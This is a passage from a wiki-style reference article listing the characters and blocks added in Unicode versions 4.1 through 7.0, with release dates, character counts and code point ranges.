* Additional parenthesized and circled Korean characters and supplemental signs (total 9 characters) were added to '''Enclosed CJK Letters and Months'''. (U+321D-U+321E, U+3250, U+327C-U+327D and U+32CC-U+32CF)
* Additional measure units (total 7 characters) were added to '''CJK Compatibility'''. (U+3377-U+337A, U+33DE-U+33DF and U+33FF)
* An additional Arabic sign (﷽) (total 1 character) was added to '''Arabic Presentation Forms-A'''. (U+FDFD)
* A pair of vertical parenthesis (total 2 characters) was added to '''CJK Compatibility Forms'''. (U+FE47-U+FE48)
* The letters Oi and Ew (total 4 characters) were added to '''Deseret'''. (U+10426-U+10427 and U+1044E-U+1044F)
* A small script l (ℓ) (total 1 character) was added to '''Mathematical Alphanumeric Symbols'''. (U+1D4C1)

== Unicode 4.1 ==

Unicode 4.1 was released March 31, 2005. It encoded 97,655 characters, adding 1,273 new characters.

=== New blocks ===

* '''Arabic Supplement''' (U+0750-U+077F), containing 30 characters for various languages written with the Arabic script, was added.
* '''Ethiopic Supplement''' (U+1380-U+139F), containing 26 characters and signs for Sebatbeit, was added.
* '''New Tai Lue''' (U+1980-U+19DF), containing 80 characters for the New Tai Lue script, was added.
* '''Buginese''' (U+1A00-U+1A1F), containing 30 characters for the Lontara script, was added.
* '''Phonetic Extensions Supplement''' (U+1D80-U+1DBF), containing 64 additional letters for phonetic transcription, was added.
* '''Combining Diacritical Marks Supplement''' (U+1DC0-U+1DFF), containing 4 additional diacritics, was added.
* '''Glagolitic''' (U+2C00-U+2C5F), containing 94 characters for the Glagolitic script, was added.
* '''Coptic''' (U+2C80-U+2CFF), containing 114 characters for the Coptic script, was added.
* '''Georgian Supplement''' (U+2D00-U+2D2F), containing 38 Nuskhuri letters, was added.
* '''Tifinagh''' (U+2D30-U+2D7F), containing 55 characters for the Tifinagh script, was added.
* '''Ethiopic Extended''' (U+2D80-U+2DDF), containing 79 additional Ethiopic syllables, was added.
* '''Supplemental Punctuation''' (U+2E00-U+2E7F), containing 26 additional punctuation marks, was added.
* '''CJK Strokes''' (U+31C0-U+31CF), containing 16 strokes for Han Ideographs, was added.
* '''Modifier Tone Letters''' (U+A700-U+A71F), containing 23 letters for Chinese tones, was added.
* '''Syloti Nagri''' (U+A800-U+A82F), containing 44 characters for the Syloti Nagri abugida, was added.
* '''Vertical Forms''' (U+FE10-U+FE1F), containing 10 punctuation marks suited for vertical text, was added.
* '''Ancient Greek Numbers''' (U+10140-U+1018F), containing 75 numerals and signs used in Ancient Greek, was added.
* '''Old Persian''' (U+103A0-U+103DF), containing 50 characters for Old Persian cuneiform, was added.
* '''Kharoshthi''' (U+10A00-U+10A5F), containing 65 characters for the Kharoshthi abugida, was added.
* '''Ancient Greek Musical Notation''' (U+1D200-U+1D24F), containing 70 musical signs used in Ancient Greek, was added.

=== Extended blocks ===

* Letters for Sencoten, digraphs, letters with swash tail and other additions (total 11 characters) were added to '''Latin Extended-B'''. (U+0237-U+0241)
* Additional diacritics for transliteration (total 5 characters) were added to '''Combining Diacritical Marks'''. (U+0358-U+035C)
* Rho with stroke, reversed and dotted Lunate Sigma (total 4 characters) were added to '''Greek and Coptic'''. (U+03FC-U+03FF)
* Ghe with descender (Ӷ) (total 2 characters) was added to '''Cyrillic'''. (U+04F6-U+04F7)
* An additional biblical mark and some punctuation marks (total 4 characters) were added to '''Hebrew'''. (U+05A2 and U+05C5-U+05C7)
* Additional biblical marks, punctuation marks and the Afghani sign (total 8 characters) were added to '''Arabic'''. (U+060B, U+061E, and U+0659-U+065E)
* A glottal stop (ॽ) (total 1 character) was added to '''Devanagari'''. (U+097D)
* The Khanda Ta letter (ৎ) (total 1 character) was added to '''Bengali'''. (U+09CE)
* The letter Sha and the digit zero (total 2 characters) were added to '''Tamil'''. (U+0BB6 and U+0BE6)
* Two marks used in Bhutan (total 2 characters) were added to '''Tibetan'''. (U+0FD0-U+0FD1)
* Two letters and a modifier letter (total 3 characters) were added to '''Georgian'''. (U+10F9-U+10FA and  U+10FC)
* Some additional syllables (total 11 characters) were added to '''Ethiopic'''. (U+1207, U+1247, U+1287, U+12AF, U+12CF, U+12EF, U+130F, U+131F, U+1347, U+135F, and U+1360)
* Additional phonetic symbols (total 20 characters) were added to '''Phonetic Extensions'''. (U+1D6C-U+1D7F)
* A flower and dot punctuation marks (total 9 characters) were added to '''General Punctuation'''. (U+2055-U+2056 and U+2058-U+205E)
* Additional subscript letters (total 5 characters) were added to '''Superscripts and Subscripts'''. (U+2090-U+2094)
* The Guarani, Austral, Hryvnia and Cedi signs (total 4 characters) were added to '''Currency Symbols'''. (U+20B2-U+20B5)
* A combining long double solidus (total 1 character) was added to '''Combining Diacritical Marks for Symbols'''. (U+20EB)
* The per sign and a double-struck letter Pi (total 2 characters) were added to '''Letterlike Symbols'''. (U+213C and U+214C)
* Metrical and electrical signs (total 11 characters) were added to '''Miscellaneous Technical'''. (U+23D1-U+23DB)
* Additional gender and map symbols (total 30 characters) were added to '''Miscellaneous Symbols'''. (U+2618, U+267E-U+267F, U+2692-U+269C, and U+26A2-U+26B1)
* Some additional mathematical symbols (total 7 characters) were added to '''Miscellaneous Mathematical Symbols-A'''. (U+27C0-U+27C6)
* Additional arrows and squares (total 6 characters) were added to '''Miscellaneous Symbols and Arrows'''. (U+2B0E-U+2B1D)
* A circled Hangul character (㉾) (total 1 character) was added to '''Enclosed CJK Letters and Months'''. (U+327E)
* Additional Han Ideographs (total 22 characters) were added to '''CJK Unified Ideographs'''. (U+9FA6-U+9FBB)
* Additional Compatibility Ideographs (total 106 characters) were added to '''CJK Compatibility Ideographs'''. (U+FA70-U+FAD9)
* Italic dotless small i and j (total 2 characters) were added to '''Mathematical Alphanumeric Symbols'''. (U+1D6A4-U+1D6A5)

== Unicode 5.0 ==

Unicode 5.0 was released July 14, 2006. It encoded 99,024 characters, adding 1,369 new characters.

=== New blocks ===

* '''N'Ko''' (U+07C0-U+07FF), containing 59 characters for the N'Ko script, was added.
* '''Balinese''' (U+1B00-U+1B7F), containing 121 characters and musical signs for the Balinese abugida, was added.
* '''Latin Extended-C''' (U+2C60-U+2C7F), containing 17 letters for various languages, was added.
* '''Latin Extended-D''' (U+A720-U+A7FF), containing 2 characters for UPA, was added.
* '''Phags-pa''' (U+A840-U+A87F), containing 56 characters for the Phags-pa script, was added.
* '''Phoenician''' (U+10900-U+1091F), containing 27 letters and numerals for the Phoenician script, was added.
* '''Cuneiform''' (U+12000-U+123FF), containing 879 signs for Sumero-Akkadian Cuneiform, was added.
* '''Cuneiform Numbers and Punctuation''' (U+12400-U+1247F), containing 103 numerals and punctuation signs for Sumero-Akkadian Cuneiform, was added.
* '''Counting Rod Numerals''' (U+1D360-U+1D37F), containing 18 numerals used with counting rods, was added.

=== Extended blocks ===

* Various letters used mainly for aboriginal languages (total 14 characters) were added to '''Latin Extended-B'''. (U+0242-U+024F)
* Lowercase lunate sigma symbols (total 3 characters) were added to '''Greek and Coptic'''. (U+037B-U+037D)
* Lowercase palochka and 3 letters used in Nivkh (total 7 characters) were added to '''Cyrillic'''. (U+04CF and U+04FA-U+04FF)
* Two letters used in Khanty and other languages (total 4 characters) were added to '''Cyrillic Supplement'''. (U+0510-U+0513)
* A specific point meant for Vav (total 1 character) was added to '''Hebrew'''. (U+05BA)
* Four letters used in Sindhi (total 4 characters) were added to '''Devanagari'''. (U+097B-U+097C and U+097E-U+097F)
* Four letters used in Sanskrit (total 4 characters) were added to '''Kannada'''. (U+0CE2-U+0CE3 and U+0CF1-U+0CF2)
* Additional IPA diacritics (total 9 characters) were added to '''Combining Diacritical Marks Supplement'''. (U+1DC4-U+1DCA)
* Four combining arrows (total 4 characters) were added to '''Combining Diacritical Marks for Symbols'''. (U+20EC-U+20EF)
* A danish symbol and a lowercase turned F (total 2 characters) were added to '''Letterlike Symbols'''. (U+214D-U+214E)
* A lowercase reversed C (ↄ) (total 1 character) was added to '''Number Forms'''. (U+2184)
* Vertical parenthesis, geometric forms and electrical symbols (total 12 characters) were added to '''Miscellaneous Technical'''. (U+23DC-U+23E7)
* A neuter symbol (⚲) (total 1 character) was added to '''Miscellaneous Symbols'''. (U+26B2)
* Four additional mathematical symbols (total 4 characters) were added to '''Miscellaneous Mathematical Symbols-A'''. (U+27C7-U+27CA)
* Additional squares, pentagons and hexagons (total 11 characters) were added to '''Miscellaneous Symbols and Arrows'''. (U+2B14-U+2B1A and U+2B20-U+2B23)
* Four additional tone letters used in Chinantec (total 4 characters) were added to '''Modifier Tone Letters'''. (U+A717-U+A71A)
* Bold Digamma (𝟊/'''Ϝ''') (total 2 characters) was added to '''Mathematical Alphanumeric Symbols'''. (U+1D7CA-U+1D7CB)

== Unicode 5.1 ==

Unicode 5.1 was released April 4, 2008. It encoded 100,648 characters, adding 1,624 new characters.

=== New blocks ===

* '''Sundanese''' (U+1B80-U+1BBF), containing 55 letters for Sundanese script, was added.
* '''Lepcha''' (U+1C00-U+1C4F), containing 74 letters for Lepcha script, was added.
* '''Ol Chiki''' (U+1C50-U+1C7F), containing 48 letters for Ol Chiki script, was added.
* '''Cyrillic Extended-A''' (U+2DE0-U+2DFF), containing 32 letters for combining Cyrillic letters, was added.
* '''Vai''' (U+A500-U+A63F), containing 300 letters for Vai script, was added.
* '''Cyrillic Extended-B''' (U+A640-U+A69F), containing 78 letters for additional Cyrillic characters, was added.
* '''Saurashtra''' (U+A880-U+A8DF), containing 81 letters for Saurashtra script, was added.
* '''Kayah Li''' (U+A900-U+A92F), containing 48 letters for Kayah languages, was added.
*  '''Rejang''' (U+A930-U+A95F), containing 37 letters for Rejang script, was added.
* '''Cham''' (U+AA00-U+AA5F), containing 83 letters for Cham script, was added.
* '''Ancient Symbols''' (U+10190-U+101CF), containing 12 characters for weights and measures and other ancient symbols, was added.
* '''Phaistos Disc''' (U+101D0-U+101FF), containing 46 hieroglyphs for Phaistos, was added.
* '''Lycian''' (U+10280-U+1029F), containing 29 letters for Lycian script, was added.
* '''Carian''' (U+102A0-U+102DF), containing 49 letters for Carian script, was added.
* '''Lydian''' (U+10920-U+1093F), containing 27 letters for Lydian script, was added.
* '''Mahjong Tiles''' (U+1F000-U+1F02F), containing 44 mahjong tiles, was added.
* '''Domino Tiles''' (U+1F030-U+1F09F), containing 100 domino tiles, was added.

=== Extended blocks ===

* Archaic letters and capital kai symbol (total 7 characters) were added to '''Greek and Coptic'''. (U+0370-U+0373, U+0375-U+0376 and U+03CF)
* Combining Pokrytie (total 1 character) was added to '''Cyrillic'''. (U+0487)
* Mordvin, Kurdish, Aleut and Chuvash letters (total 16 characters) were added to '''Cyrillic Supplement'''. (U+0514-U+0523)
* Radix symbols, Letterlike, punctuation, Koranic annotation signs and additions for early Persian and Azerbaijani (total 15 characters) were added to '''Arabic'''. (U+0606-U+060A, U+0616-U+061A and U+063B-U+063F)
* Additional letters in Torwali, Burushaski and early Persian (total 18 characters) were added to '''Arabic Supplement'''. (U+076E-U+077F)
* High spacing dot and candra a (total 2 characters) were added to '''Devanagari'''. (U+0971-U+0972)
* Udaat and yakash signs (total 2 characters) were added to '''Gurmukhi'''. (U+0A51 and U+0A75)
* Vocalic rr, l and ll (total 3 characters) were added to '''Oriya'''. (U+0B44 and U+0B62-U+0B63)
* Om symbol (ௐ) (total 1 character) was added to '''Tamil'''. (U+0BD0)
* Avagraha, additional phonetic letters, vocalic l and ll, fractional signs and tuumu (total 13 characters) were added to '''Telugu'''. (U+0C3D, U+0C58-U+0C59, U+0C62-U+0C63 and U+0C78-U+0C7F)
* Avagraha, vocalic rr, l and ll, Malayalam numerics and fractions and chillu letters (total 17 characters) were added to '''Malayalam'''. (U+0D3D, U+0D44, U+0D62-U+0D63, U+0D70-U+0D75 and U+0D79-U+0D7F)
* Letters for Balti and various symbols (total 6 characters) were added to '''Tibetan'''. (U+0F6B-U+0F6C, U+0FCE and U+0FD2-U+0FD4)
* Characters for various languages (total 78 characters) were added to '''Myanmar'''. (U+1022, U+1028, U+102B, U+1033-U+1035, U+103A-U+103F, U+105A-U+1099 and U+109E-U+109F)
* Manchu Ali Gali lha (ᢪ) (total 1 character) was added to '''Mongolian'''. (U+18AA)
* Miscellaneous combining marks (total 28 characters) were added to '''Combining Diacritical Marks Supplement'''. (U+1DCB-U+1DE6)
* Medievalist latin letters and miscellaneous letters (total 10 characters) were added to '''Latin Extended Additional'''. (U+1E9C-U+1E9F and U+1EFA-U+1EFF)
* Invisible plus (+) (total 1 character) was added to '''General Punctuation'''. (U+2064)
* Combining asterisk above ( ⃰)(total 1 character) was added to '''Combining Diacritical Marks for Symbols'''. (U+20F0)
* Symbol for Samaritan Source (⅏) (total 1 character) was added to '''Letterlike Symbols'''. (U+214F)
* Archaic Roman Numerals (total 4 characters) were added to '''Number Forms'''. (U+2185-U+2188)
* Outlined white star and other signs (total 15 characters) were added to '''Miscellaneous Symbols'''. (U+269D, U+26B3-U+26BC and U+26C0-U+26C3)
* Long division and additional mathematical brackets (total 5 characters) were added to '''Miscellaneous Mathematical Symbols-A'''. (U+27CC and U+27EC-U+27EF)
* Miscellaneous signs (total 51 characters) were added to '''Miscellaneous Symbols and Arrows'''. (U+2B1B-U+2B1F, U+2B24-U+2B4C, and U+2B50-U+2B54)
* Additional Latin letters (total 12 characters) were added to '''Latin Extended-C'''. (U+2C6D-U+2C6F, U+2C71-U+2C73, and U+2C78-U+2C7D)
* Additional punctuation (total 23 characters) were added to '''Supplemental Punctuation'''. (U+2E18-U+2E1B and U+2E1E-U+2E30)
* Letter ih (ㄭ) (total 1 character) was added to '''Bopomofo'''. (U+312D)
* Other strokes (total 20 characters) were added to '''CJK Strokes'''. (U+31D0-U+31E3)
* Miscellaneous additions (total 8 characters) were added to '''CJK Unified Ideographs'''. (U+9FBC-U+9FC3)
* Africanist tone letters (total 5 characters) were added to '''Modifier Tone Letters'''. (U+A71B-U+A71F)
* Miscellaneous letters and symbols (total 112 characters) were added to '''Latin Extended-D'''. (U+A722-U+A78C and U+A7FB-U+A7FF)
* Continuous macrons for Coptic (total 3 characters) were added to '''Combining Half Marks'''. (U+FE24-U+FE26)
* Musical symbol multiple measure rest (𝄩) (total 1 character) was added to '''Musical Symbols'''. (U+1D129)

== Unicode 5.2 ==

Unicode 5.2 was released in October 1, 2009. It encoded 107,296 characters, adding 6,648 new characters.

=== New blocks ===

* '''Samaritan''' (U+0800-U+083F), containing 61 letters for Samaritan script, was added.
* '''Unified Canadian Aboriginal Syllabics Extended''' (U+18B0-U+18FF), containing 70 syllables for various Cree languages, was added.
* '''Tai Tham''' (U+1A20-U+1AAF), containing 127 letters for Tai Tham script, was added.
* '''Vedic Extensions''' (U+1CD0-U+1CFF), containing 35 characters for tone marks and signs, was added.
* '''Lisu''' (U+A4D0-U+A4FF), containing 48 letters for Lisu (Fraser) script, was added.
* '''Bamum''' (U+A6A0-U+A6FF), containing 88 letters for Bamum script, was added.
* '''Common Indic Number Forms''' (U+A830-U+A83F), containing 10 fractions and marks, was added.
* '''Devanagari Extended''' (U+A8E0-U+A8FF), containing 28 additional marks, was added.
* '''Hangul Jamo Extended-A''' (U+A960-U+A97F), containing 29 characters for additional old initial consonants in hangul jamo, was added.
* '''Javanese''' (U+A980-U+A9DF), containing 91 letters for Javanese script, was added.
* '''Myanmar Extended-A''' (U+AA60-U+AA7B), containing 28 letters for Khamti Shan in Myanmar, was added.
* '''Tai Viet''' (U+AA80-U+AADF), containing 72 letters for Tai Viet script, was added.
* '''Meetei Mayek''' (U+ABC0-U+ABFF), containing 56 letters for Meetei Mayek script, was added.
* '''Hangul Jamo Extended-B''' (U+D7B0-U+D7FF), containing 72 characters for additional old medieval vowels and final consonants in hangul jamo, was added.
* '''Imperial Aramaic''' (U+10840-U+1085F), containing 31 characters for Old Aramaic, was added.
* '''Old South Arabian''' (U+10A60-U+10A7F), containing 32 letters and numbers for South Arabian, was added.
* '''Avestan''' (U+10B00-U+10B3F), containing 61 characters for Avestan script, was added.
* '''Inscriptional Parthian''' (U+10B40-U+10B5F), containing 30 characters for Inscriptional Parthian script, was added.
* '''Inscriptional Pahlavi''' (U+10B60-U+10B7F), containing 27 characters for Inscriptional Pahlavi script, was added.
* '''Old Turkic''' (U+10C00-U+10C4F), containing 73 characters for Orkhon script, was added.
* '''Rumi Numeral Symbols''' (U+10E60-U+10E7F), containing 31 numeric characters used in Fez, Morocco, and elsewhere in North Africa and the Iberian peninsula, between the tenth and seventeenth centuries, was added.
* '''Kaithi''' (U+11080-U+110CF), containing 66 letters for Kaithi script, was added.
* '''Egyptian Hieroglyphs''' (U+13000-U+1342F), containing 1,071 hieroglyphs for Egyptian, was added.
* '''Enclosed Alphanumeric Supplement''' (U+1F100-U+1F1FF), containing 63 additional circled, parenthesized and squared alphanumerics, was added.
* '''Enclosed Ideographic Supplement''' (U+1F200-U+1F2FF), containing 44 squared and tortoised shell bracketed ideographs, was added.
* '''CJK Unified Ideographs Extension C''' (U+2A700-U+2B73F), containing 4,149 additional Chinese Ideographs, was added.

=== Extended blocks ===

* Abkhaz letters (total 2 characters) were added to '''Cyrillic Supplement'''. (U+0524-U+0525)
* Inverted Candrabindu and additional signs and letters (total 5 characters) were added to '''Devanagari'''. (U+0900, U+094E, U+0955 and U+0979-U+097A)
* Ganda Mark (৻) (total 1 character) was added to '''Bengali'''. (U+09FB)
* Religious svasti signs (total 4 characters) were added to '''Tibetan'''. (U+0FD5-U+0FD8)
* Extensions for Khamti Shan and Alton and Phake (total 4 characters) were added to '''Myanmar'''. (U+109A-U+109D)
* Additional old initial consonants, medival vowels, and old final consonants (total 16 characters) were added to '''Hangul Jamo'''. (U+115A-U+115E, U+11A3-U+11A7 and U+11FA-U+11FF)
* Hyphen and additional syllables (total 10 characters) were added to '''Unified Canadian Aboriginal Syllabics'''. (U+1400 and U+1677-U+167F)
* Letter Sua and Tham Digit One (total 3 characters) were added to '''New Tai Lue'''. (U+19AA-U+19AB and U+19DA)
* Combing Almost Equal to Below ( ᷽) (total 1 character) was added to '''Combining Diacritical Marks Supplement'''. (U+1DFD)
* The Live Tournosis, Spesmillo and Tenge signs (total 3 characters) were added to '''Currency Symbols'''. (U+20B6-U+20B8)
* Additional vulgar fractions from ARIB STD B24 (total 4 characters) were added to '''Number Forms'''. (U+2150-U+2152 and U+2189)
* Decimal exponent symbol (⏨) from ARIB STD B24 (total 1 characters) was added to '''Miscellaneous Technical'''. (U+23E8)
* A soccer ball and symbols from ARIB STD B24 (total 59 characters) were added to '''Miscellaneous Symbols'''. (U+269E-U+269F, U+26BD-U+26BF, U+26C4-U+26CD, U+26CF-U+26E1, U+26E3 and U+26E8-U+26FF)
* Heavy exclamation mark symbol (❗)  from ARIB STD B24 (total 1 character) was added to '''Dingbats'''. (U+2757)
* Traffic sign, dictionary and map symbols from ARIB STD B24 (total 5 characters) were added to '''Miscellaneous Symbols and Arrows'''. (U+2B55-U+2B59)
* Capital letter turned alpha and additions for Shona (total 3 characters) were added to '''Latin Extended-C'''. (U+2C70 to U+2C7E-U+2C7F)
* Cryptogrammic letters and combining marks (total 7 characters) were added to '''Coptic'''. (U+2CEB-U+2CF1)
* Word separator middle dot (⸱) (total 1 character) was added to '''Supplemental Punctuation'''. (U+2E31)
* Circled ideographs and numbers on black squares from ARIB STD B24 (total 12 characters) were added to '''Enclosed CJK Letters and Months'''. (U+3244-U+324F)
* Miscellaneous additions (total 8 characters) were added to '''CJK Unified Ideographs'''. (U+9FC4-U+9FCB)
* Miscellaneous additions for compatibility (total 3 characters) were added to '''CJK Compatibility Ideographs'''. (U+FA6B-U+FA6D)
* Number two and three (total 2 characters) were added to '''Phoenician'''. (U+1091A-U+1091B)

== Unicode 6.0 ==

Unicode 6.0 was released in October 11, 2010. It encoded 109,384 characters, adding 2,088 new characters.

=== New blocks ===

* '''Mandaic''' (U+0840-U+085F), containing 29 letters for Mandaic script, was added.
* '''Batak''' (U+1BC0-U+1BFF), containing 56 letters for Batak script, was added.
* '''Ethiopic Extended-A''' (U+AB00-U+AB2F), containing 32 letters for Gamo-Gofa-Dawro, Basketo and Gumuz Ethiopic syllables, was added.
* '''Brahmi''' (U+11000-U+1107F), containing 108 characters for ancient Brahmi abugida, was added.
* '''Bamum Supplement''' (U+16800-U+16A3F), containing 761 letters for additional Bamum script, was added.
* '''Kana Supplement''' (U+1B000-U+1B0FF), containing 2 characters for archaic katakana, was added.
* '''Playing Cards''' (U+1F0A0-U+1F0FF), containing 59 playing cards, was added.
* '''Miscellaneous Symbols and Pictographs''' (U+1F300-U+1F5FF), containing 529 additional symbols, was added.
* '''Emoticons''' (U+1F600-U+1F64F), containing 63 faces, cat faces and gesture symbols, was added.
* '''Transport and Map Symbols''' (U+1F680-U+1F6FF), containing 70 transportation, traffic signs and other symbols, was added.
* '''Alchemical Symbols''' (U+1F700-U+1F77F), containing 116 symbols for elements, was added.
* '''CJK Unified Ideographs Extension D''' (U+2B740-U+2B81F), containing 222 miscellaneous Han ideographs, was added.

=== Extended blocks ===

* Azerbaijani letters (total 2 characters) were added to '''Cyrillic Supplement'''. (U+0526-U+0527)
* Kashmiri Yeh and Wavy hamza below (total 2 characters) were added to '''Arabic'''. (U+0620 and U+065F)
* Dependent vowel signs and letters used in Kashmiri and Bihari (total 10 characters) were added to '''Devanagari'''. (U+093A-U+093B, U+094F, U+0956-U+0957 and U+0973-U+0977)
* Fraction signs (total 6 characters) were added to '''Oriya'''. (U+0B72-U+0B77)
* Letters used in scholarly only and letter dot reph (total 3 characters) were added to '''Malayalam'''. (U+0D29, U+0D3A and U+0D4E)
* Leading and Trailing Mchan Rtags (total 6 characters) were added to '''Tibetan'''. (U+0F8C-U+0F8F, U+0FD9-U+0FDA)
* Additional combining marks (total 2 characters) were added to '''Ethiopic'''. (U+135D-U+135E)
* Combining Double Inverted Breve Below (᷼) (total 1 character) was added to '''Combining Diacritical Marks Supplement'''. (U+1DFC)
* Miscellaneous subscript letters (total 8 characters) were added to '''Superscripts and Subscripts'''. (U+2095-U+209C)
* Indian Rupee Sign (₹) (total 1 character) was added to '''Currency Symbols'''. (U+20B9)
* Pointing double triangle and additional mechanical symbols (total 11 characters) were added to '''Miscellaneous Technical'''. (U+23E9-U+23F3)
* Ophiuchus, astronomical symbol for Uranus and pentagrams (total 6 characters) were added to '''Miscellaneous Symbols'''. (U+26CE, U+26E2 and U+26E4-U+26E7)
* Additional heavy punctation marks, raised fist, raised hand, sparkles, heavy arithmetic symbols and curly loops (total 16 characters) were added to '''Dingbats'''. (U+2705, U+270A-U+270B, U+2728, U+274C, U+274E, U+2753-U+2755, U+275F-U+2760, U+2795-U+2797, U+27B0 and U+27BF)
* Squared logicals (total 2 characters) were added to '''Miscellaneous Mathematical Symbols-A'''. (U+27CE-U+27CF)
* Separator mark and consonant joiner (total 2 characters) were added to '''Tifinagh'''. (U+2D70 and U+2D7F)
* Bopomofo for Hmu and Ge (total 3 characters) were added to '''Bopomofo Extended'''. (U+31B8-U+31BA)
* Reversed Tse (total 2 characters) were added to '''Cyrillic Extended-B'''. (U+A660-U+A661)
* Additional letters (total 15 characters) were added to '''Latin Extended-D'''. (U+A78D-U+A78E, U+A790-U+A791, U+A7A0-U+A7A9 and U+A7FA)
* Pedagogical symbols (total 16 characters) were added to '''Arabic Presentation Forms-A'''. (U+FBB2-U+FBC1)
* Additional squared, black circled and squared letters and regional indicator letters (total 107 characters) were added to '''Enclosed Alphanumeric Supplement'''. (U+1F130, U+1F132-U+1F13C, U+1F13E, U+1F140-U+1F141, U+1F143-U+1F145, U+1F147-U+1F149, U+1F14F, U+1F150-U+1F156, U+1F158-U+1F15E, U+1F160-U+1F169, U+1F170-U+1F178, U+1F17A, U+1F17D-U+1F17E, U+1F180-U+1F189, U+1F18E-U+1F18F, U+1F191-U+1F19A and U+1F1E6-U+1F1FF)
* Squared katakana, squared ideographs and circled advantage and accept (total 13 characters) were added to '''Enclosed Ideographic Supplement'''. (U+1F201-U+1F202, U+1F232-U+1F23A and U+1F250-U+1F251)

== Unicode 6.1 ==

Unicode 6.1 was released in January 31, 2012. It encoded 110,116 characters, adding 732 new characters.

=== New blocks ===

* '''Arabic Extended-A''' (U+08A0-U+08FF), containing 39 characters, was added.
* '''Sundanese Supplement''' (U+1CC0-U+1CCF), containing 8 characters, was added.
* '''Meetei Mayek Extensions''' (U+AAE0-U+AAFF), containing 23 characters, was added.
* '''Meroitic Hieroglyphs''' (U+10980-U+1099F), containing 32 characters, was added.
* '''Meroitic Cursive''' (U+109A0-U+109FF), containing 26 characters, was added.
* '''Sora Sompeng''' (U+110D0-U+110FF), containing 35 characters, was added.
* '''Chakma''' (U+11100-U+1114F), containing 67 characters, was added.
* '''Sharada''' (U+11180-U+111DF), containing 83 characters, was added.
* '''Takri''' (U+11680-U+116CF), containing 66 characters, was added.
* '''Miao''' (U+16F00-U+16F9F), containing 133 characters, was added.
* '''Arabic Mathematical Alphabetic Symbols''' (U+1EE00-U+1EEFF), containing 143 characters, was added.

=== Extended blocks ===

* An Armenian Dram sign (total 1 character) was added to '''Armenian'''. (U+058F)
* A sign Samvat (total 1 character) was added to '''Arabic'''. (U+0604)
* An Abbreviation mark (total 1 character) was added to '''Gujarati'''. (U+0AF0)
* Letters for Khmu (total 2 characters) were added to '''Lao'''. (U+0EDE-U+0EDF)
* Capital letter Yn, letter Aen, Hard and Labial sign (total 5 characters) were added to '''Georgian'''. (U+10C7, U+10CD and U+10FD-U+10FF)
* Letters and signs for Old Sundanese (total 9 characters) were added to '''Sundanese'''. (U+1BAB-U+1BAD and U+1BBA-U+1BBF)
* Sign Rotated Ardhavisarga, Candra Above, Jihvamuliya and Uphadhmaniya (total 4 characters) were added to '''Vedic Extensions'''. (U+1CF3-U+1CF6)
* Mathematical diagonals (total 2 characters) were added to '''Miscellaneous Mathematical Symbols-A'''. (U+27CB and U+27CD)
* A letter Bohairic Khei (total 2 characters) were added to '''Coptic'''. (U+2CF2-U+2CF3)
* Small letters Yn and Aen (total 2 characters) were added to '''Georgian Supplement'''. (U+2D27 and U+2D2D)
* Letters Ye and Yo (total 2 characters) were added to '''Tifinagh'''. (U+2D66-U+2D67)
* (total 10 characters) were added to '''Supplemental Punctuation'''. (U+2E32-U+2E3B)
* An additional ideograph for Kanji (total 1 character) was added to '''CJK Unified Ideographs'''. (U+9FCC)
* Combining letter for Slavonic (total 9 characters) were added to '''Cyrillic Extended-B'''. (U+A674-U+A67B and U+A69F)
* Letter C with Bar, capital letter H with Hook and modifier letters for extended IPA (total 5 characters) were added to '''Latin Extended-D'''. (U+A792-U+A793, U+A7AA and U+A7F8-U+A7F9)
* Some additional ideographs for Korea (total 2 characters) were added to '''CJK Compatibility Ideographs'''. (U+FA2E-U+FA2F)
* Symbols for Canadian legal use (total 2 characters) were added to '''Enclosed Alphanumeric Supplement'''. (U+1F16A-U+1F16B)
* Typikon symbols (total 4 characters) were added to '''Miscellaneous Symbols and Pictographs'''. (U+1F540-U+1F543)
* (total 13 characters) were added to '''Emoticons'''. (U+1F600, U+1F611, U+1F615, U+1F617, U+1F619, U+1F61B, U+1F61F, U+1F626-U+1F627, U+1F62C, U+1F62E-U+1F62F and U+1F634)

== Unicode 6.2 ==

Unicode 6.2 was released in September 26, 2012. It encoded 110,117 characters, adding only 1 new character.

=== Extended blocks ===

* A Turkish Lira sign (total 1 character) was added to '''Currency Symbols'''. (U+20BA)

== Unicode 6.3 ==

Unicode 6.3 was released in September 30, 2013. It encoded 110,122 characters, adding only 5 new characters.

=== Extended blocks ===

* A Letter mark (total 1 character) was added to '''Arabic'''. (U+061C)
* Isolate directional format characters (total 4 characters) were added to '''General Punctuation'''. (U+2066-U+2069)

== Unicode 7.0 ==

Unicode 7.0 was released in June 16, 2014. It encoded 112,956 characters, adding 2,834 new characters.

=== New blocks ===

* '''Combining Diacritical Marks Extended''' (U+1AB0-U+1AFF), containing 15 marks, was added.
* '''Myanmar Extended-B''' (U+A9E0-U+A9FF), containing 31 letters, was added.
* '''Latin Extended-E''' (U+AB30-U+AB6F), containing 50 letters, was added.
* '''Coptic Epact Numbers''' (U+102E0-U+102FF), containing 28 numbers, was added.
* '''Old Permic''' (U+10350-U+1037F), containing 43 letters, was added.
* '''Elbasan''' (U+10500-U+1052F), containing 50 letters, was added.
* '''Caucasian Albanian''' (U+10530-U+1056F), containing 53 letters and marks, was added.
* '''Linear A''' (U+10600-U+1077F), containing 341 signs, was added.
* '''Palmyrene''' (U+10860-U+1087F), containing 32 letters, was added.
* '''Nabataean''' (U+10880-U+108AF), containing 40 letters and numbers, was added.
* '''Old North Arabian''' (U+10A80-U+10A9F), containing 32 letters and numbers, was added.
* '''Manichaean''' (U+10AC0-U+10AFF), containing 51 characters, was added.
* '''Psalter Pahlavi''' (U+10B80-U+10BAF), containing 29 characters, was added.
* '''Mahajani''' (U+11150-U+1117F), containing 39 letters and signs, was added.
* '''Sinhala Archaic Numbers''' (U+111E0-U+111FF), containing 20 numbers, was added.
* '''Khojki''' (U+11200-U+1124F), containing 61 characters, was added.
* '''Khudawadi''' (U+112B0-U+112FF), containing 69 characters, was added.
* '''Grantha''' (U+11300-U+1137F), containing 83 characters, was added.
* '''Tirhuta''' (U+11480-U+114DF), containing 82 characters, was added.
* '''Siddham''' (U+11580-U+115FF), containing 72 characters, was added.
* '''Modi''' (U+11600-U+1165F), containing 79 characters, was added.
* '''Warang Citi''' (U+118A0-U+118FF), containing 84 letters and numbers, was added.
* '''Pau Cin Hau''' (U+11AC0-U+11AFF), containing 57 characters, was added.
* '''Mro''' (U+16A40-U+16A6F), containing 43 characters, was added.
* '''Bassa Vah''' (U+16AD0-U+16AFF), containing 36 characters, was added.
* '''Pahawh Hmong''' (U+16B00-U+16B8F), containing 127 letters and signs, was added.
* '''Duployan''' (U+1BC00-U+1BC9F), containing 143 characters, was added.
